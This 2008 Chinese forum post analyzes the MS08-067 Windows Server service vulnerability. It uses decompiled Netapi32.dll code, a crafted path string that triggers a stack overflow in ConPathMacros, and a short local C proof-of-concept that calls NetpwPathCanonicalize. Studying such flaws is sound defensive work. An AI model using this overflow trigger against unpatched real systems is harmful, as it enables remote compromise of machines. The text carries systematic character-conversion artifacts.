標(biāo) 題: 【原創(chuàng)】MS08-067漏洞分析(20081025) 作 者: DiYhAcK 時 間: 2008-10-25,21:56:17 鏈 接: http://bbs./showthread.php?t=75361 前天看到微軟緊急發(fā)布了一個漏洞補(bǔ)丁,就去看了下,發(fā)現(xiàn)該漏洞影響覆蓋面非常廣,包括Windows 2000/XP/2003/Vista/2008的各個版本,甚至還包括測試階段的Windows 7 Pre-Beta,并且漏洞存在于Windows系統(tǒng)默認(rèn)開啟的Server服務(wù)當(dāng)中,而且超越了當(dāng)年風(fēng)靡一時的MS06-040漏洞(又想起當(dāng)年用該漏洞。。。。。。。嘿嘿)。這也難怪微軟打破周二發(fā)布補(bǔ)丁的慣例。于是下了補(bǔ)丁研究研究。 下完補(bǔ)丁,發(fā)現(xiàn)被打補(bǔ)丁的又是 Netapi32.dll,對比原文件和補(bǔ)丁中的文件,有問題的函數(shù)又是NetpwPathCanonicalize(MS06-040也是這個函數(shù),具體信息請搜索)簡單說下這個函數(shù): 該函數(shù)用于標(biāo)準(zhǔn)化一個路徑,一般用于本地調(diào)用,若調(diào)用者指定了一個遠(yuǎn)程計算機(jī)名將會使用RPC。 該函數(shù)能夠處理的路徑類型: 1.相對路徑 e.g. foo\bar 2.絕對路徑 e.g. \foo\bar 3.UNC 路徑 e.g. \\computer\share\foo 4.全路徑 e.g. d:\foo\bar 該函數(shù)聲明如下: DWORD NetpwPathCanonicalize( LPWSTR PathName, //需要標(biāo)準(zhǔn)化的路徑 LPWSTR Outbuf, //存儲標(biāo)準(zhǔn)化后的路徑的Buffer DWORD OutbufLen, //Buffer長度 LPWSTR Prefix, //可選參數(shù),當(dāng)PathName是相對路徑時有用 LPDWORD PathType, //存儲路徑類型 DWORD Flags // 保留,為0 ) 該函數(shù)中在一個循環(huán)里使用wcscpy,惡意攻擊者通過構(gòu)造一個精心設(shè)計的路徑將使漏洞觸發(fā)。 結(jié)合IDA分析該函數(shù):(F5 + 整理 + 主要代碼) 代碼: int __stdcall NetpwPathCanonicalize(LPWSTR PathName, LPWSTR Outbuf, DWORD OutbufLen, LPWSTR Prefix, LPDWORD PathType, DWORD Flags) { bool v7; int result; v7 = !Prefix || !*Prefix; Prefix = (LPWSTR)*PathType; if ( *PathType || (result = NetpwPathType(PathName, (int)&Prefix, 0), !result) ) { if ( v7 || (result = NetpwPathType(Prefix, (int)&Flags, 0), !result) ) { if ( OutbufLen != 0 ) { *Outbuf = 0; result = CanonPathName(Prefix, PathName, Outbuf, OutbufLen, 0); //核心函數(shù),主要處理在這里,問題也出在這里 if ( !result ) result = NetpwPathType(Outbuf, (int)PathType, 0); } else { result = 2123; } } } return result; } int __stdcall CanonPathName(LPWSTR PathPrefix, LPWSTR PathName, LPWSTR Buffer, DWORD BufferSize, LPDWORD RetSize) { size_t preLen; size_t pathLen; wchar_t pathBuffer[MAX_PATH*2 + 1]; if ( PathPrefix && *PathPrefix ) { preLen = wcslen(PathPrefix); if ( preLen != 0) { if ( preLen > 520 ) //520 = sizeof(pathBuffer) - 1 return 0x7Bu; // ERROR_INVALID_NAME wcscpy(pathBuffer, PathPrefix); if ( pathBuffer[preLen-1] != '\\' && pathBuffer[preLen-1] != '/') //判斷前綴是否以'\'或'/'結(jié)尾 { wcscat(pathBuffer, L"\\"); ++preLen; } if ( PathName[0] == '\\' || PathName[0] == '/' ) ++pathLen; } } else { pathBuffer[0] = 0; } pathLen = wcslen(PathName); if (pathLen + preLen > sizeof(pathBuffer) - 1) return 0x7Bu; // ERROR_INVALID_NAME wcscat(pathBuffer, PathName); if ( pathBuffer ) { do //該循環(huán)把路徑中的'/'轉(zhuǎn)換成'\' { if ( *pathBuffer == '/' ) *pathBuffer = '\\'; ++pathBuffer; } while ( *pathBuffer ); } if ( !sub_71C4A2CA() && !ConPathMacros(pathBuffer) ) //ConPathMacros中存在緩沖區(qū)溢出漏洞?。?! return 0x7Bu; pathLen = 2 * wcslen(&pathBuffer) + 2; if ( pathLen > BufferSize ) { if ( RetSize ) *RetSize = pathLen; result = 0x84Bu; } else { wcscpy(Buffer, &pathBuffer); result = 0; } return result; } 在測試時大家可以把函數(shù)ConPathMacros單獨提取出來,傳入一個路徑,看其是怎樣去掉路徑中的\..和\.宏 構(gòu)造惡意路徑: 形如".\\\\x\\..\\..\\aaaaaaaaaaaaaaaaaaaaaaaaaaaaa"即可導(dǎo)致函數(shù)ConPathMacros漏洞的觸發(fā) 看圖中的局部變量: 本地溢出 Netapi32.dll: 代碼: int main(int argc, char* argv[]) { WCHAR szBuffer[] = L".\\\\x\\..\\..\\aaaaaaaaaaaaaaaaaaaaaaaaaaaa"; //ConvertPathMacros(szBuffer); //printf("%S\n", szBuffer); HMODULE h = LoadLibrary("netapi32.dll"); if(h != NULL) { NetpwPathCanonicalize = (pNetpwPathCanonicalize)GetProcAddress(h, "NetpwPathCanonicalize"); if(NetpwPathCanonicalize != NULL) { WCHAR Buffer[256] = L""; DWORD type = 1000; //不能為0,否則構(gòu)造的路徑過不了NetpwPathType的檢查 DWORD ret = NetpwPathCanonicalize(szBuffer, Buffer, 512, NULL, &type, 0); printf("ret = %x\n", ret); printf("%S\n", Buffer); } FreeLibrary(h); } return 0; } 手工實現(xiàn)RPC通信等等。。。 Bulletin: http://www.microsoft.com/technet/security/Bulletin/MS08-067.mspx |
|